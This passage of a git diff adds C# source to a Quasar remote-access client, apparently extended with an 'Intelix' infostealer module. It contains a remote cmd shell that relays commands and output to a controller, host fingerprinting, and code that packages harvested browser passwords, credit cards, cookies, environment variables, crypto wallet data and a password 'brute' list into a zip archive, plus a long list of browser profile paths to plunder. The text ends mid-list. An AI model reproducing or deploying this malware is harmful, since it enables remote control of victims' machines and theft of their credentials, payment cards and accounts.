"SELECT * FROM Win32_DisplayConfiguration"; + + using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(query)) + { + foreach (ManagementObject mObject in searcher.Get()) + { + gpuName += mObject["Description"].ToString() + "; "; + } + } + gpuName = StringHelper.RemoveLastChars(gpuName); + + return (!string.IsNullOrEmpty(gpuName)) ? gpuName : "N/A"; + } + catch + { + return "Unknown"; + } + } + + private static string GetLanIpAddress() + { + // TODO: support multiple network interfaces + foreach (NetworkInterface ni in NetworkInterface.GetAllNetworkInterfaces()) + { + GatewayIPAddressInformation gatewayAddress = ni.GetIPProperties().GatewayAddresses.FirstOrDefault(); + if (gatewayAddress != null) //exclude virtual physical nic with no default gateway + { + if (ni.NetworkInterfaceType == NetworkInterfaceType.Wireless80211 || + ni.NetworkInterfaceType == NetworkInterfaceType.Ethernet && + ni.OperationalStatus == OperationalStatus.Up) + { + foreach (UnicastIPAddressInformation ip in ni.GetIPProperties().UnicastAddresses) + { + if (ip.Address.AddressFamily != AddressFamily.InterNetwork || + ip.AddressPreferredLifetime == UInt32.MaxValue) // exclude virtual network addresses + continue; + + return ip.Address.ToString(); + } + } + } + } + + return "-"; + } + + private static string GetMacAddress() + { + foreach (NetworkInterface ni in NetworkInterface.GetAllNetworkInterfaces()) + { + if (ni.NetworkInterfaceType == NetworkInterfaceType.Wireless80211 || + ni.NetworkInterfaceType == NetworkInterfaceType.Ethernet && + ni.OperationalStatus == OperationalStatus.Up) + { + bool foundCorrect = false; + foreach (UnicastIPAddressInformation ip in ni.GetIPProperties().UnicastAddresses) + { + if (ip.Address.AddressFamily != AddressFamily.InterNetwork || + ip.AddressPreferredLifetime == UInt32.MaxValue) // exclude virtual network addresses + continue; + + foundCorrect = (ip.Address.ToString() == GetLanIpAddress()); + } + + if (foundCorrect) + return StringHelper.GetFormattedMacAddress(ni.GetPhysicalAddress().ToString()); + } + } + + return "-"; + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/IO/Shell.cs b/Quasar-1.4.1/Quasar.Client/IO/Shell.cs new file mode 100755 index 0000000..9b67a9d --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/IO/Shell.cs @@ -0,0 +1,332 @@ +using Quasar.Client.Networking; +using Quasar.Common.Messages; +using System; +using System.Diagnostics; +using System.Globalization; +using System.IO; +using System.Text; +using System.Threading; + +namespace Quasar.Client.IO +{ + /// + /// This class manages a remote shell session. + /// + public class Shell : IDisposable + { + /// + /// The process of the command-line (cmd). + /// + private Process _prc; + + /// + /// Decides if we should still read from the output. + /// + /// Detects unexpected closing of the shell. + /// + /// + private bool _read; + + /// + /// The lock object for the read variable. + /// + private readonly object _readLock = new object(); + + /// + /// The lock object for the StreamReader. + /// + private readonly object _readStreamLock = new object(); + + /// + /// The current console encoding. + /// + private Encoding _encoding; + + /// + /// Redirects commands to the standard input stream of the console with the correct encoding. + /// + private StreamWriter _inputWriter; + + /// + /// The client to sends responses to. + /// + private readonly QuasarClient _client; + + /// + /// Initializes a new instance of the class using a given client. + /// + /// The client to send shell responses to. + public Shell(QuasarClient client) + { + _client = client; + } + + /// + /// Creates a new session of the shell. + /// + private void CreateSession() + { + lock (_readLock) + { + _read = true; + } + + var cultureInfo = CultureInfo.InstalledUICulture; + _encoding = Encoding.GetEncoding(cultureInfo.TextInfo.OEMCodePage); + + _prc = new Process + { + StartInfo = new ProcessStartInfo("cmd") + { + UseShellExecute = false, + CreateNoWindow = true, + RedirectStandardInput = true, + RedirectStandardOutput = true, + RedirectStandardError = true, + StandardOutputEncoding = _encoding, + StandardErrorEncoding = _encoding, + WorkingDirectory = Path.GetPathRoot(Environment.GetFolderPath(Environment.SpecialFolder.System)), + Arguments = $"/K CHCP {_encoding.CodePage}" + } + }; + _prc.Start(); + + RedirectIO(); + + _client.Send(new DoShellExecuteResponse + { + Output = "\n>> New Session created\n" + }); + } + + /// + /// Starts the redirection of input and output. + /// + private void RedirectIO() + { + _inputWriter = new StreamWriter(_prc.StandardInput.BaseStream, _encoding); + new Thread(RedirectStandardOutput).Start(); + new Thread(RedirectStandardError).Start(); + } + + /// + /// Reads the output from the stream. + /// + /// The first read char. + /// The StreamReader to read from. + /// True if reading from the error-stream, else False. + private void ReadStream(int firstCharRead, StreamReader streamReader, bool isError) + { + lock (_readStreamLock) + { + var streamBuffer = new StringBuilder(); + + streamBuffer.Append((char)firstCharRead); + + // While there are more characters to be read + while (streamReader.Peek() > -1) + { + // Read the character in the queue + var ch = streamReader.Read(); + + // Accumulate the characters read in the stream buffer + streamBuffer.Append((char)ch); + + if (ch == '\n') + SendAndFlushBuffer(ref streamBuffer, isError); + } + // Flush any remaining text in the buffer + SendAndFlushBuffer(ref streamBuffer, isError); + } + } + + /// + /// Sends the read output to the Client. + /// + /// Contains the contents of the output. + /// True if reading from the error-stream, else False. + private void SendAndFlushBuffer(ref StringBuilder textBuffer, bool isError) + { + if (textBuffer.Length == 0) return; + + var toSend = ConvertEncoding(_encoding, textBuffer.ToString()); + + if (string.IsNullOrEmpty(toSend)) return; + + _client.Send(new DoShellExecuteResponse { Output = toSend, IsError = isError }); + + textBuffer.Clear(); + } + + /// + /// Reads from the standard output-stream. + /// + private void RedirectStandardOutput() + { + try + { + int ch; + + // The Read() method will block until something is available + while (_prc != null && !_prc.HasExited && (ch = _prc.StandardOutput.Read()) > -1) + { + ReadStream(ch, _prc.StandardOutput, false); + } + + lock (_readLock) + { + if (_read) + { + _read = false; + throw new ApplicationException("session unexpectedly closed"); + } + } + } + catch (ObjectDisposedException) + { + // just exit + } + catch (Exception ex) + { + if (ex is ApplicationException || ex is InvalidOperationException) + { + _client.Send(new DoShellExecuteResponse + { + Output = "\n>> Session unexpectedly closed\n", + IsError = true + }); + + CreateSession(); + } + } + } + + /// + /// Reads from the standard error-stream. + /// + private void RedirectStandardError() + { + try + { + int ch; + + // The Read() method will block until something is available + while (_prc != null && !_prc.HasExited && (ch = _prc.StandardError.Read()) > -1) + { + ReadStream(ch, _prc.StandardError, true); + } + + lock (_readLock) + { + if (_read) + { + _read = false; + throw new ApplicationException("session unexpectedly closed"); + } + } + } + catch (ObjectDisposedException) + { + // just exit + } + catch (Exception ex) + { + if (ex is ApplicationException || ex is InvalidOperationException) + { + _client.Send(new DoShellExecuteResponse + { + Output = "\n>> Session unexpectedly closed\n", + IsError = true + }); + + CreateSession(); + } + } + } + + /// + /// Executes a shell command. + /// + /// The command to execute. + /// False if execution failed, else True. + public bool ExecuteCommand(string command) + { + if (_prc == null || _prc.HasExited) + { + try + { + CreateSession(); + } + catch (Exception ex) + { + _client.Send(new DoShellExecuteResponse + { + Output = $"\n>> Failed to creation shell session: {ex.Message}\n", + IsError = true + }); + return false; + } + } + + _inputWriter.WriteLine(ConvertEncoding(_encoding, command)); + _inputWriter.Flush(); + + return true; + } + + /// + /// Converts the encoding of an input string to UTF-8 format. + /// + /// The source encoding of the input string. + /// The input string. + /// The input string in UTF-8 format. + private string ConvertEncoding(Encoding sourceEncoding, string input) + { + var utf8Text = Encoding.Convert(sourceEncoding, Encoding.UTF8, sourceEncoding.GetBytes(input)); + return Encoding.UTF8.GetString(utf8Text); + } + + /// + /// Releases all resources used by this class. + /// + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + + protected virtual void Dispose(bool disposing) + { + if (disposing) + { + lock (_readLock) + { + _read = false; + } + + if (_prc == null) + return; + + if (!_prc.HasExited) + { + try + { + _prc.Kill(); + } + catch + { + } + } + + if (_inputWriter != null) + { + _inputWriter.Close(); + _inputWriter = null; + } + + _prc.Dispose(); + _prc = null; + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Data/ArchiveStructure.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Data/ArchiveStructure.cs new file mode 100755 index 0000000..aee8579 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Data/ArchiveStructure.cs @@ -0,0 +1,29 @@ +using System; +using System.Text; + +namespace Intelix.Helper.Data; + +public class ArchiveStructure +{ + private readonly string _rootFolderName; + + public string RootFolderName => _rootFolderName; + + public ArchiveStructure(string countryCode, string ipAddress, string hwid) + { + DateTime now = DateTime.Now; + string date = now.ToString("yyyy-M-d"); + string time = now.ToString("H_m_s"); + _rootFolderName = $"{countryCode}_{ipAddress}_{date} {time}_{hwid}"; + } + + public string GetPath(string relativePath) + { + if (string.IsNullOrEmpty(relativePath)) + { + return _rootFolderName; + } + return $"{_rootFolderName}/{relativePath}"; + } +} + diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Data/ConsolidatedFilesGenerator.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Data/ConsolidatedFilesGenerator.cs new file mode 100755 index 0000000..6578527 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Data/ConsolidatedFilesGenerator.cs @@ -0,0 +1,382 @@ +using System; +using System.Collections; +using System.Collections.Concurrent; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Text; +using System.Text.RegularExpressions; + +namespace Intelix.Helper.Data; + +public class ConsolidatedFilesGenerator +{ + public static void GenerateConsolidatedFiles(InMemoryZip zip, Counter counter, string publicIp, string countryCode, string hwid) + { + GeneratePasswordsFile(zip); + GenerateCreditCardsFile(zip); + GenerateUserInformationFile(zip, publicIp, countryCode, hwid); + GenerateEnvironmentFile(zip); + GenerateBruteFile(zip); + GenerateDomainDetectsFile(zip); + GenerateInstalledSoftwareFile(zip); + } + + private static void GeneratePasswordsFile(InMemoryZip zip) + { + List allPasswords = new List(); + + foreach (var entry in zip.GetAllEntries()) + { + if (entry.Key.Contains("Browser/Logins/") && entry.Key.EndsWith(".txt")) + { + try + { + string content = Encoding.UTF8.GetString(entry.Value); + string[] lines = content.Split(new[] { "\n", "\r\n" }, StringSplitOptions.None); + + string fileName = Path.GetFileName(entry.Key); + bool hasData = false; + + for (int i = 0; i < lines.Length; i++) + { + string line = lines[i]; + if (line.StartsWith("URL:") || line.StartsWith("Hostname:")) + { + allPasswords.Add(line); + hasData = true; + } + else if (line.StartsWith("Username:") || line.StartsWith("Password:")) + { + allPasswords.Add(line); + } + else if (string.IsNullOrWhiteSpace(line) && hasData && i < lines.Length - 1 && !string.IsNullOrWhiteSpace(lines[i + 1])) + { + allPasswords.Add("Application: Browser/Logins/" + fileName); + allPasswords.Add("==============="); + hasData = false; + } + } + + if (hasData) + { + allPasswords.Add("Application: Browser/Logins/" + fileName); + allPasswords.Add("==============="); + } + } + catch + { + } + } + } + + if (allPasswords.Count > 0) + { + zip.AddTextFile("Passwords.txt", string.Join("\n", allPasswords)); + } + } + + private static void GenerateCreditCardsFile(InMemoryZip zip) + { + ConcurrentBag allCreditCards = new ConcurrentBag(); + + foreach (var entry in zip.GetAllEntries()) + { + if ((entry.Key.Contains("Browser/Credits/") || entry.Key.Contains("CreditCards/")) && entry.Key.EndsWith(".txt")) + { + try + { + string content = Encoding.UTF8.GetString(entry.Value); + if (!string.IsNullOrWhiteSpace(content)) + { + allCreditCards.Add(content); + } + } + catch + { + } + } + } + + if (allCreditCards.Count > 0) + { + zip.AddTextFile("CreditCards.txt", string.Join("\n\n", allCreditCards)); + } + } + + private static void GenerateUserInformationFile(InMemoryZip zip, string publicIp, string countryCode, string hwid) + { + StringBuilder sb = new StringBuilder(); + DateTime now = DateTime.Now; + + sb.AppendLine($"Log date: {now:dd MMM yy HH:mm} MSK"); + sb.AppendLine("Traffic: src"); + sb.AppendLine($"HWID: {hwid}"); + sb.AppendLine($"Country: {countryCode}"); + sb.AppendLine($"IP: {publicIp}"); + + foreach (var entry in zip.GetAllEntries()) + { + if (entry.Key.Contains("Information.txt")) + { + try + { + string content = Encoding.UTF8.GetString(entry.Value); + string[] lines = content.Split(new[] { "\n", "\r\n" }, StringSplitOptions.None); + + foreach (string line in lines) + { + if (line.Contains("System Language:") || line.Contains("Processor:") || + line.Contains("Installed RAM:") || line.Contains("OS Product:") || + line.Contains("OS Build:") || line.Contains("OS Arch:") || + line.Contains("CPU Name:") || line.Contains("Logical Cores:") || + line.Contains("RAM Total:") || line.Contains("RAM Available:") || + line.Contains("GPU:") || line.Contains("Computer Name:") || + line.Contains("Domain Name:") || line.Contains("MachineID:") || + line.Contains("Product Key:") || line.Contains("User:") || + line.Contains("Machine:") || line.Contains("Now:") || + line.Contains("Input ISO:") || line.Contains("Hwid:") || + line.Contains("Clipboard:") || line.Contains("External IP:") || + line.Contains("Internal IP:") || line.Contains("Default Gateway:") || + line.Contains("User Domain:") || line.Contains("CLR Version:")) + { + string processedLine = line; + if (line.Contains("OS Product:")) + { + processedLine = "Operation System: " + line.Substring(line.IndexOf("OS Product:") + 11).Trim(); + } + else if (line.Contains("OS Build:")) + { + processedLine = "Operation System: " + processedLine; + } + else if (line.Contains("CPU Name:")) + { + processedLine = "Processor: " + line.Substring(line.IndexOf("CPU Name:") + 9).Trim(); + } + else if (line.Contains("Installed RAM:")) + { + processedLine = line.Replace("RAM Total (MB):", "Installed RAM:"); + } + else if (line.Contains("User:")) + { + processedLine = "User Name: " + line.Substring(line.IndexOf("User:") + 5).Trim(); + } + else if (line.Contains("Machine:")) + { + processedLine = "Computer Name: " + line.Substring(line.IndexOf("Machine:") + 8).Trim(); + } + else if (line.Contains("External IP:")) + { + continue; + } + + sb.AppendLine(processedLine); + } + } + } + catch + { + } + break; + } + } + + sb.AppendLine("-------------"); + + zip.AddTextFile("UserInformation.txt", sb.ToString()); + } + + private static void GenerateEnvironmentFile(InMemoryZip zip) + { + StringBuilder sb = new StringBuilder(); + + foreach (DictionaryEntry entry in Environment.GetEnvironmentVariables()) + { + sb.AppendLine($"{entry.Key}={entry.Value}"); + } + + zip.AddTextFile("Environment.txt", sb.ToString()); + } + + private static void GenerateBruteFile(InMemoryZip zip) + { + ConcurrentBag passwords = new ConcurrentBag(); + HashSet uniquePasswords = new HashSet(); + + foreach (var entry in zip.GetAllEntries()) + { + if (entry.Key.Contains("Browser/Logins/") && entry.Key.EndsWith(".txt")) + { + try + { + string content = Encoding.UTF8.GetString(entry.Value); + MatchCollection matches = Regex.Matches(content, @"Password:\s*(.+)", RegexOptions.Multiline); + + foreach (Match match in matches) + { + string password = match.Groups[1].Value.Trim(); + if (!string.IsNullOrEmpty(password) && uniquePasswords.Add(password)) + { + passwords.Add(password); + } + } + } + catch + { + } + } + } + + if (passwords.Count > 0) + { + zip.AddTextFile("Brute.txt", string.Join("\n", passwords)); + } + } + + private static void GenerateDomainDetectsFile(InMemoryZip zip) + { + Dictionary loginDomains = new Dictionary(); + Dictionary cookieDomains = new Dictionary(); + + foreach (var entry in zip.GetAllEntries()) + { + if (entry.Key.Contains("Browser/Logins/") && entry.Key.EndsWith(".txt")) + { + try + { + string content = Encoding.UTF8.GetString(entry.Value); + MatchCollection matches = Regex.Matches(content, @"(?:URL:|Hostname:)\s*(?:https?://)?(?:www\.)?([^/\s]+)", RegexOptions.IgnoreCase); + + foreach (Match match in matches) + { + string domain = match.Groups[1].Value.Trim().ToLower(); + if (!string.IsNullOrEmpty(domain)) + { + if (!loginDomains.ContainsKey(domain)) + { + loginDomains[domain] = 0; + } + loginDomains[domain]++; + } + } + } + catch + { + } + } + else if (entry.Key.Contains("Browser/Cookies/") && entry.Key.EndsWith(".txt")) + { + try + { + string content = Encoding.UTF8.GetString(entry.Value); + MatchCollection matches = Regex.Matches(content, @"(?:\.)?([a-zA-Z0-9][a-zA-Z0-9-]{1,61}[a-zA-Z0-9]?\.[a-zA-Z]{2,})", RegexOptions.IgnoreCase); + + foreach (Match match in matches) + { + string domain = match.Groups[1].Value.Trim().ToLower(); + if (!string.IsNullOrEmpty(domain)) + { + if (!cookieDomains.ContainsKey(domain)) + { + cookieDomains[domain] = 0; + } + cookieDomains[domain]++; + } + } + } + catch + { + } + } + } + + StringBuilder sb = new StringBuilder(); + if (loginDomains.Count > 0) + { + sb.AppendLine("LoginData:"); + int index = 1; + foreach (var domain in loginDomains.OrderByDescending(d => d.Value)) + { + sb.AppendLine($"{index}) [{GetDomainName(domain.Key)}] {domain.Key}({domain.Value})"); + index++; + } + } + + if (cookieDomains.Count > 0) + { + sb.AppendLine("Cookies:"); + int index = 1; + foreach (var domain in cookieDomains.OrderByDescending(d => d.Value)) + { + sb.AppendLine($"{index}) [{GetDomainName(domain.Key)}] {domain.Key}({domain.Value})"); + index++; + } + } + + if (sb.Length > 0) + { + zip.AddTextFile("DomainDetects.txt", sb.ToString()); + } + } + + private static string GetDomainName(string domain) + { + string[] parts = domain.Split('.'); + if (parts.Length >= 2) + { + return parts[parts.Length - 2]; + } + return domain; + } + + private static void GenerateInstalledSoftwareFile(InMemoryZip zip) + { + foreach (var entry in zip.GetAllEntries()) + { + if (entry.Key.Contains("InstalledSoftware.txt")) + { + try + { + string content = Encoding.UTF8.GetString(entry.Value); + string[] lines = content.Split(new[] { "\n", "\r\n" }, StringSplitOptions.RemoveEmptyEntries); + + List formattedLines = new List(); + int index = 1; + + foreach (string line in lines) + { + if (line.Contains(" | ") && !line.StartsWith("Name") && !line.Contains("---")) + { + string[] parts = line.Split(new[] { " | " }, StringSplitOptions.None); + if (parts.Length >= 3) + { + string name = parts[0].Trim(); + string path = parts[1].Trim(); + string version = parts[2].Trim(); + + string publisher = "Unknown"; + if (parts.Length > 3) + { + publisher = parts[3].Trim(); + } + + formattedLines.Add($"{index}) {name} [{version}] - {publisher}"); + index++; + } + } + } + + if (formattedLines.Count > 0) + { + zip.AddTextFile("InstalledSoftware.txt", string.Join("\n", formattedLines)); + } + } + catch + { + } + break; + } + } + } +} + diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Data/Counter.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Data/Counter.cs new file mode 100755 index 0000000..c0fd5ee --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Data/Counter.cs @@ -0,0 +1,194 @@ +using System.Collections.Concurrent; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using Intelix.Helper.Encrypted; + +namespace Intelix.Helper.Data; + +public class Counter +{ + public class CounterBrowser + { + public string Profile; + + public string BrowserName; + + public ConcurrentLong Cookies; + + public ConcurrentLong Password; + + public ConcurrentLong CreditCards; + + public ConcurrentLong AutoFill; + + public ConcurrentLong RestoreToken; + + public ConcurrentLong MaskCreditCard; + + public ConcurrentLong MaskedIban; + } + + public class CounterApplications + { + public string Name; + + public ConcurrentBag Files = new ConcurrentBag(); + } + + public ConcurrentBag FilesGrabber = new ConcurrentBag(); + + public ConcurrentBag CryptoDesktop = new ConcurrentBag(); + + public ConcurrentBag CryptoChromium = new ConcurrentBag(); + + public ConcurrentBag Browsers = new ConcurrentBag(); + + public ConcurrentBag Applications = new ConcurrentBag(); + + public ConcurrentBag Vpns = new ConcurrentBag(); + + public ConcurrentBag Games = new ConcurrentBag(); + + public ConcurrentBag Messangers = new ConcurrentBag(); + + public void Collect(InMemoryZip zip) + { + List list = new List(); + list.Add("\r\n \r\n __ __ _ \r\n \\ \\/ /___ _ __ (_)_ _ _ __ ___ \r\n \\ // _ \\| '__|| | | | | '_ ` _ \\ \r\n / \\ (_) | | | | |_| | | | | | |\r\n /_/\\_\\___/|_| |_|\\__,_|_| |_| |_|\r\n "); + list.Add(" Developer @aesxor"); + list.Add(""); + List masterKeys = LocalState.GetMasterKeys(); + if (masterKeys.Count() > 0) + { + list.Add(string.Format("[Keys] [--{0}--] [{1}]", masterKeys.Count(), string.Join(", ", masterKeys.Select((string[] k) => Paths.GetBrowserName(k[0])).Distinct()))); + foreach (string[] item in masterKeys) + { + list.Add(" [" + Paths.GetBrowserName(item[0]) + " " + item[1] + "] " + item[2]); + } + list.Add(""); + } + if (Browsers.Count() > 0) + { + list.Add(string.Format("[Browsers] [--{0}--] [{1}]", Browsers.Count(), string.Join(", ", Browsers.Select((CounterBrowser b) => b.BrowserName).ToArray()))); + foreach (CounterBrowser browser in Browsers) + { + list.Add(" - " + browser.Profile); + if ((long)browser.Cookies != 0L) + { + list.Add($" [Cookies {(long)browser.Cookies}]"); + } + if ((long)browser.Password != 0L) + { + list.Add($" [Passwords {(long)browser.Password}]"); + } + if ((long)browser.CreditCards != 0L) + { + list.Add($" [CreditCards {(long)browser.CreditCards}]"); + } + if ((long)browser.AutoFill != 0L) + { + list.Add($" [AutoFill {(long)browser.AutoFill}]"); + } + if ((long)browser.RestoreToken != 0L) + { + list.Add($" [RestoreToken {(long)browser.RestoreToken}]"); + } + if ((long)browser.MaskCreditCard != 0L) + { + list.Add($" [MaskCreditCard {(long)browser.MaskCreditCard}]"); + } + if ((long)browser.MaskedIban != 0L) + { + list.Add($" [MaskedIban {(long)browser.MaskedIban}]"); + } + list.Add(""); + } + list.Add(""); + } + if (Applications.Count() > 0) + { + list.Add(string.Format("[Applications] [--{0}--] [{1}]", Applications.Count(), string.Join(", ", Applications.Select((CounterApplications b) => b.Name).ToArray()))); + foreach (CounterApplications application in Applications) + { + list.Add(" [Name " + application.Name + "]"); + foreach (string item2 in application.Files.Reverse()) + { + list.Add(" - " + item2); + } + list.Add(""); + } + list.Add(""); + } + if (Games.Count() > 0) + { + list.Add(string.Format("[Games] [--{0}--] [{1}]", Games.Count(), string.Join(", ", Games.Select((CounterApplications b) => b.Name).ToArray()))); + foreach (CounterApplications game in Games) + { + list.Add(" [Name " + game.Name + "]"); + foreach (string item3 in game.Files.Reverse()) + { + list.Add(" - " + item3); + } + list.Add(""); + } + list.Add(""); + } + if (Messangers.Count() > 0) + { + list.Add(string.Format("[Messangers] [--{0}--] [{1}]", Messangers.Count(), string.Join(", ", Messangers.Select((CounterApplications b) => b.Name).ToArray()))); + foreach (CounterApplications messanger in Messangers) + { + list.Add(" [Name " + messanger.Name + "]"); + foreach (string item4 in messanger.Files.Reverse()) + { + list.Add(" - " + item4); + } + list.Add(""); + } + list.Add(""); + } + if (Vpns.Count() > 0) + { + list.Add(string.Format("[Vpns] [--{0}--] [{1}]", Vpns.Count(), string.Join(", ", Vpns.Select((CounterApplications b) => b.Name).ToArray()))); + foreach (CounterApplications vpn in Vpns) + { + list.Add(" [Name " + vpn.Name + "]"); + foreach (string item5 in vpn.Files.Reverse()) + { + list.Add(" - " + item5); + } + list.Add(""); + } + list.Add(""); + } + if (CryptoChromium.Count() > 0) + { + list.Add($"[CryptoChromium] [--{CryptoChromium.Count()}--]"); + foreach (string item6 in CryptoChromium) + { + list.Add(" - " + item6); + } + list.Add(""); + } + if (CryptoDesktop.Count() > 0) + { + list.Add($"[CryptoDesktop] [--{CryptoDesktop.Count()}--]"); + foreach (string item7 in CryptoDesktop) + { + list.Add(" - " + item7); + } + list.Add(""); + } + if (FilesGrabber.Count() > 0) + { + list.Add($"[FilesGrabber] [--{FilesGrabber.Count()}--]"); + foreach (string item8 in FilesGrabber) + { + list.Add(" - " + item8); + } + list.Add(""); + } + zip.AddTextFile("IntelIX.txt", string.Join("\n", list)); + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Data/InMemoryZip.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Data/InMemoryZip.cs new file mode 100755 index 0000000..ca5b611 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Data/InMemoryZip.cs @@ -0,0 +1,156 @@ +using System; +using System.Collections.Concurrent; +using System.Collections.Generic; +using System.IO; +using System.IO.Compression; +using System.Text; + +namespace Intelix.Helper.Data; + +public sealed class InMemoryZip : IDisposable +{ + private readonly ConcurrentDictionary _entries = new ConcurrentDictionary(StringComparer.OrdinalIgnoreCase); + + private readonly object _buildLock = new object(); + + private bool _disposed; + private string _rootFolderPrefix = string.Empty; + + public int Count => _entries.Count; + + public void SetRootFolderPrefix(string prefix) + { + if (string.IsNullOrEmpty(prefix)) + { + _rootFolderPrefix = string.Empty; + } + else + { + _rootFolderPrefix = NormalizeEntryName(prefix) + "/"; + } + } + + private static string NormalizeEntryName(string name) + { + if (string.IsNullOrWhiteSpace(name)) + { + throw new ArgumentException("Entry name is null or empty", "name"); + } + name = name.Replace('\\', '/').Trim('/'); + if (name.Length != 0) + { + return name; + } + throw new ArgumentException("Invalid entry name", "name"); + } + + private string ApplyRootPrefix(string entryPath) + { + if (string.IsNullOrEmpty(_rootFolderPrefix)) + { + return entryPath; + } + string normalized = NormalizeEntryName(entryPath); + if (normalized.StartsWith(_rootFolderPrefix, StringComparison.OrdinalIgnoreCase)) + { + return normalized; + } + return _rootFolderPrefix + normalized; + } + + public void AddFile(string entryPath, byte[] content) + { + if (_disposed) + { + throw new ObjectDisposedException("InMemoryZip"); + } + if (content != null && content.Length != 0) + { + string key = ApplyRootPrefix(entryPath); + byte[] copy = new byte[content.Length]; + Buffer.BlockCopy(content, 0, copy, 0, content.Length); + _entries.AddOrUpdate(key, copy, (string text, byte[] old) => copy); + } + } + + public void AddTextFile(string entryPath, string text) + { + if (!string.IsNullOrEmpty(text)) + { + AddFile(entryPath, Encoding.UTF8.GetBytes(text)); + } + } + + public void AddDirectoryFiles(string sourceDirectory, string targetEntryDirectory = "", bool recursive = true) + { + if (_disposed) + { + throw new ObjectDisposedException("InMemoryZip"); + } + if (string.IsNullOrEmpty(sourceDirectory)) + { + throw new ArgumentException("sourceDirectory"); + } + if (!Directory.Exists(sourceDirectory)) + { + return; + } + SearchOption searchOption = (recursive ? SearchOption.AllDirectories : SearchOption.TopDirectoryOnly); + string[] files = Directory.GetFiles(sourceDirectory, "*", searchOption); + foreach (string text in files) + { + string text2 = text.Substring(sourceDirectory.Length).TrimStart(Path.DirectorySeparatorChar, Path.AltDirectorySeparatorChar); + string text3 = (string.IsNullOrEmpty(targetEntryDirectory) ? text2 : Path.Combine(targetEntryDirectory, text2)); + text3 = text3.Replace('\\', '/'); + try + { + byte[] content = File.ReadAllBytes(text); + AddFile(text3, content); + } + catch + { + } + } + } + + public byte[] ToArray(CompressionLevel compression = CompressionLevel.Fastest) + { + if (_disposed) + { + throw new ObjectDisposedException("InMemoryZip"); + } + lock (_buildLock) + { + using MemoryStream memoryStream = new MemoryStream(); + using (ZipArchive zipArchive = new ZipArchive(memoryStream, ZipArchiveMode.Create, leaveOpen: true, Encoding.UTF8)) + { + foreach (KeyValuePair entry in _entries) + { + using Stream stream = zipArchive.CreateEntry(entry.Key, compression).Open(); + byte[] value = entry.Value; + stream.Write(value, 0, value.Length); + } + } + return memoryStream.ToArray(); + } + } + + public IEnumerable> GetAllEntries() + { + return _entries; + } + + public void Clear() + { + _entries.Clear(); + } + + public void Dispose() + { + if (!_disposed) + { + _disposed = true; + _entries.Clear(); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Data/Paths.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Data/Paths.cs new file mode 100755 index 0000000..14ddbcd --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Data/Paths.cs @@ -0,0 +1,121 @@ +using System; +using System.IO; + +namespace Intelix.Helper.Data; + +public static class Paths +{ + public static string appdata = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData); + + public static string localappdata = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData); + + public static string[] Discord = new string[4] + { + appdata + "\\discord", + appdata + "\\discordcanary", + appdata + "\\Lightcord", + appdata + "\\discordptb" + }; + + public static string[] Chromium = new string[66] + { + appdata + "\\Lulumi-browser", + appdata + "\\kingpinbrowser", + appdata + "\\Falkon\\Profiles", + appdata + "\\Hola\\chromium_profile", + appdata + "\\Opera Software\\Opera Stable", + appdata + "\\Opera Software\\Opera GX Stable", + localappdata + "\\Battle.net", + localappdata + "\\GhostBrowser", + localappdata + "\\ColibriBrowser", + localappdata + "\\Min\\User Data", + localappdata + "\\Coowon\\Coowon", + localappdata + "\\Uran\\User Data", + localappdata + "\\Kinza\\User Data", + localappdata + "\\Blisk\\User Data", + localappdata + "\\Xvast\\User Data", + localappdata + "\\Torch\\User Data", + localappdata + "\\CryptoTab Browser", + localappdata + "\\Comodo\\User Data", + localappdata + "\\Kometa\\User Data", + localappdata + "\\liebao\\User Data", + localappdata + "\\Chedot\\User Data", + localappdata + "\\K-Melon\\User Data", + localappdata + "\\Orbitum\\User Data", + localappdata + "\\Vivaldi\\User Data", + localappdata + "\\Slimjet\\User Data", + localappdata + "\\Iridium\\User Data", + localappdata + "\\Maxthon\\User Data", + localappdata + "\\Maxthon3\\User Data", + localappdata + "\\Nichrome\\User Data", + localappdata + "\\Chromodo\\User Data", + localappdata + "\\QIP Surf\\User Data", + localappdata + "\\Chromium\\User Data", + localappdata + "\\BitTorrent\\Maelstrom", + localappdata + "\\Globus VPN\\User Data", + localappdata + "\\CentBrowser\\User Data", + localappdata + "\\Amigo\\User\\User Data", + localappdata + "\\MapleStudio\\ChromePlus", + localappdata + "\\7Star\\7Star\\User Data", + localappdata + "\\Mail.Ru\\Atom\\User Data", + localappdata + "\\Comodo\\Dragon\\User Data", + localappdata + "\\UCBrowser\\User Data_i18n", + localappdata + "\\Google\\Chrome\\User Data", + localappdata + "\\Coowon\\Coowon\\User Data", + localappdata + "\\CocCoc\\Browser\\User Data", + localappdata + "\\AOL\\AOL Shield\\User Data", + localappdata + "\\Microsoft\\Edge\\User Data", + localappdata + "\\uCozMedia\\Uran\\User Data", + localappdata + "\\Element Browser\\User Data", + localappdata + "\\Sputnik\\Sputnik\\User Data", + localappdata + "\\Elements Browser\\User Data", + localappdata + "\\CCleaner Browser\\User Data", + localappdata + "\\360Chrome\\Chrome\\User Data", + localappdata + 